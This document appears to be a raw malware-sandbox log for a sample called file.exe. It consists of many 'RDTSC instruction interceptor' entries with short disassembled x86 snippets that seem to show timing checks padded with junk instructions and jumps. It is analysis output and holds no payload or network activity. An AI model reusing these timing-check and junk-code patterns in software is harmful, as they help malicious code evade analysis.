Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B9158 second address: 6B9194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBBBh 0x00000009 popad 0x0000000a pop edi 0x0000000b pushad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 pushad 0x00000011 jmp 00007F8C5451FBC0h 0x00000016 jmp 00007F8C5451FBBFh 0x0000001b push edi 0x0000001c pop edi 0x0000001d popad 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749A7A second address: 749A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F8C54522433h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749A93 second address: 749AC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8C5451FBC8h 0x00000008 pop edx 0x00000009 pushad 0x0000000a jmp 00007F8C5451FBBEh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749AC0 second address: 749AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5452242Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 749BFC second address: 749C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7505C8 second address: 7505D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7505D0 second address: 7505D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7505D4 second address: 7505F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5452242Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C54522432h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FCD1 second address: 74FCD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75394D second address: 753953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753953 second address: 75395B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75395B second address: 753970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jne 00007F8C54522426h 0x0000000e jng 00007F8C54522426h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753970 second address: 753978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753BF1 second address: 753BFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8C54522426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753DAC second address: 753DB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753DB2 second address: 753DB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753DB6 second address: 753DC0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C5451FBB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753DC0 second address: 753DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8C5452242Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753F15 second address: 753F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBBDh 0x00000009 jc 00007F8C5451FBB6h 0x0000000f popad 0x00000010 jmp 00007F8C5451FBC8h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753F49 second address: 753F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 753F4D second address: 753F69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBEh 0x00000007 jo 00007F8C5451FBB6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540B3 second address: 7540B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540B9 second address: 7540BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7540BD second address: 7540F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522438h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F8C5452242Fh 0x00000011 js 00007F8C54522426h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A41F second address: 75A431 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A431 second address: 75A449 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8C54522426h 0x00000008 jnc 00007F8C54522426h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F8C54522426h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A449 second address: 75A44D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A44D second address: 75A476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F8C5452244Dh 0x0000000e push ecx 0x0000000f jmp 00007F8C54522433h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A476 second address: 75A47A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B5C14 second address: 6B5C1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758FF4 second address: 759002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8C5451FBB6h 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759430 second address: 75943A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8C54522426h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705547 second address: 705559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5451FBBEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75959F second address: 7595B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F8C54522426h 0x0000000a jmp 00007F8C5452242Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7595B6 second address: 7595DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8C5451FBBFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76260B second address: 762610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762E74 second address: 762E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7631C4 second address: 7631DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522432h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7631DA second address: 7631E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7631E0 second address: 7631E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76376E second address: 76379F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8C5451FBC0h 0x0000000b popad 0x0000000c pushad 0x0000000d ja 00007F8C5451FBB6h 0x00000013 ja 00007F8C5451FBB6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c popad 0x0000001d push esi 0x0000001e jg 00007F8C5451FBBCh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7679EE second address: 767A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F8C5452242Ch 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766E5B second address: 766E5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766E5F second address: 766E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F8C5452242Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766FEC second address: 766FF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F8C5451FBB6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766FF8 second address: 766FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774563 second address: 774574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jo 00007F8C5451FBB6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774574 second address: 77457E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8C54522426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77457E second address: 7745A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C5451FBBBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F8C5451FBBCh 0x00000014 js 00007F8C5451FBB6h 0x0000001a push eax 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7745A2 second address: 7745AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8C54522426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77471B second address: 774721 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774721 second address: 77472B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77472B second address: 77472F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77472F second address: 77476D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522432h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8C5452242Dh 0x00000010 pushad 0x00000011 jl 00007F8C54522426h 0x00000017 jmp 00007F8C5452242Eh 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774A5E second address: 774A85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8C5451FBBBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C5451FBC1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774A85 second address: 774A94 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F8C54522426h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774A94 second address: 774A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8C5451FBB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774D62 second address: 774D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C5452242Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775485 second address: 775489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775489 second address: 77548F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775B6A second address: 775B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C5451FBBDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 774141 second address: 77415B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C54522436h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D255 second address: 77D260 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007F8C5451FBB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D260 second address: 77D26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CCA1 second address: 77CCA7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CCA7 second address: 77CCAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CCAE second address: 77CCB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CCB4 second address: 77CCBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CCBC second address: 77CCC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CF0C second address: 77CF16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F8C54522426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BACC2 second address: 6BACDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F8C5451FBC4h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788727 second address: 78875B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F8C54522438h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C5452242Fh 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78875B second address: 788761 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78894A second address: 788976 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007F8C54522426h 0x00000009 pop edi 0x0000000a jmp 00007F8C54522436h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F8C5452242Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 788976 second address: 78897A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794313 second address: 794317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794317 second address: 79432D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C5451FBC0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D928 second address: 79D92C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D92C second address: 79D930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D726 second address: 79D730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8C54522426h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D730 second address: 79D736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19E8 second address: 7A19EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19EC second address: 7A19F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19F4 second address: 7A19FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A19FA second address: 7A1A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1A00 second address: 7A1A0B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB24D second address: 7AB286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F8C5451FBC1h 0x0000000b popad 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007F8C5451FBBCh 0x00000015 js 00007F8C5451FBC2h 0x0000001b jno 00007F8C5451FBB6h 0x00000021 jc 00007F8C5451FBB6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB286 second address: 7AB28B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB28B second address: 7AB2A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8C5451FBC4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9E1C second address: 7A9E32 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8C5452242Ch 0x00000008 ja 00007F8C5452242Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA0F0 second address: 7AA0F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAF99 second address: 7AAF9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAF9F second address: 7AAFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAFA5 second address: 7AAFC5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8C54522426h 0x00000008 jmp 00007F8C54522430h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAFC5 second address: 7AAFC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AAFC9 second address: 7AAFCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AF0F8 second address: 7AF0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2F5D second address: 7B2F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8C54522426h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B2F68 second address: 7B2F85 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F8C5451FBBFh 0x0000000a pop edx 0x0000000b jo 00007F8C5451FBBCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BF970 second address: 7BF974 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0F10 second address: 7C0F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0F1D second address: 7C0F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0F23 second address: 7C0F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
